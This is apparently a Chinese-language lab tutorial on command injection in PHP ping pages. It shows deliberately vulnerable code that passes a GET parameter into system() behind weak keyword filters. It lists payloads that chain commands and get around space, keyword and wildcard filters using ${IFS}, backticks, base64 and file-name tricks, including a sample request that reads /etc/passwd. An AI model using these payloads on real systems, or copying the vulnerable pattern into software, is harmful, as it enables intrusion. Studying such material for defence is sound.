1.命令执行漏洞

参数127.0.0.1,ping通了地址,这里明显执行了代码,看一看代码

?php
	if(isset($_GET['ip'])){

    $ip = $_GET['ip'];

    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
	
?>

system()一个标准的代码执行函数

直接用管道符 | 可以拼接需要执行的系统代码同样也有

;   |   &   ||   &&   等等

​​​​​​

执行成功

2.空格符绕过

空格符绕过有很多种方式绕过以下都可以尝试

< 代替空格

{cat,/etc/passwd}用,加{}代替空格

${IFS}代替空格、

等等

执行成功

3.命令执行漏洞关键命令绕过

对于有关键命令的绕过可以有通配符,拼接,空变量干扰,转义符绕绕过等方法

通配符绕过        cat /etc/passw*

转移符绕过        ca/t etc/passwd        ca''t /etc/passwd

空变量绕过        $* $@ $x ${x}        ca${1}t /etc/passwd        x可以是任意数字

变量拼接的方法       a=fl;b=ag;cat$IFS$a$b        读取flag文件

反引号绕过        cat `ls`        过滤单引号可用

编码绕过        cat `echo ZmxhZw==` | base64 -d        用base64编码绕过关键词flag读取文件

异或无符号绕过:通过某两个字符异或(或)得到一个新的字符

组合绕过

通过拼接创建的文件名来组合成一个命令,在写入文件当中,从而执行命令

touch "ag"        创建ag后缀文件名

touch "fl\\"        创建fl\后缀文件名

touch "t \\"        创建t \后缀文件名转移后的

touch "cat \\"        创建cat \后缀的文件名

ls -t > shell        按时间列出文件并将组合的文件命令写入shell文件中,此时t \的\会被忽略

sh -shell        执行shell文件

过滤关键字绕过(如过滤system)

echo `ls`

echo ${ls}

?><?=`ls`;

?><?=${ls};

这里就是用了空编变量干扰的方法,看一下源码,这里就是过滤了cat

<?php
	if(isset($_GET['ip'])){

		if (preg_match('/cat/', $_GET['ip'])) {
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
			
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
	
?>

4.命令执行漏洞通配符绕过

题目当中比较明显,通配符绕过,通配符* ?等,直接看看源码,过滤了那些,也能直接在网站中一个个试

<?php
	if(isset($_GET['ip'])){

		if (preg_match('/etc|passwd/', $_GET['ip'])) {
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
			
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
	
?>

用正则匹配了'/etc/passwd',直接用统配符绕过即可,星号问号都行

5.命令执行漏洞base64编码绕过

直接用上述代码读取文件也能读取到文件,也就是没有过滤上述的代码中的东西,我们看看过滤了什么在用base64绕过读取

<?php
	if(isset($_GET['ip'])){

		if (preg_match('/id/', $_GET['ip'])) {
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
			
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
	
?>

过滤了id命令我们用base64绕过试试

http://192.168.22.136:8002/exec/05.php?ip=127.0.0.1|`echo aWQ=|base64 -d`

也是成功绕过id检测,同样的读取/etc/passwd文件也直接替换base64的地方就行了

读取成功

更多推荐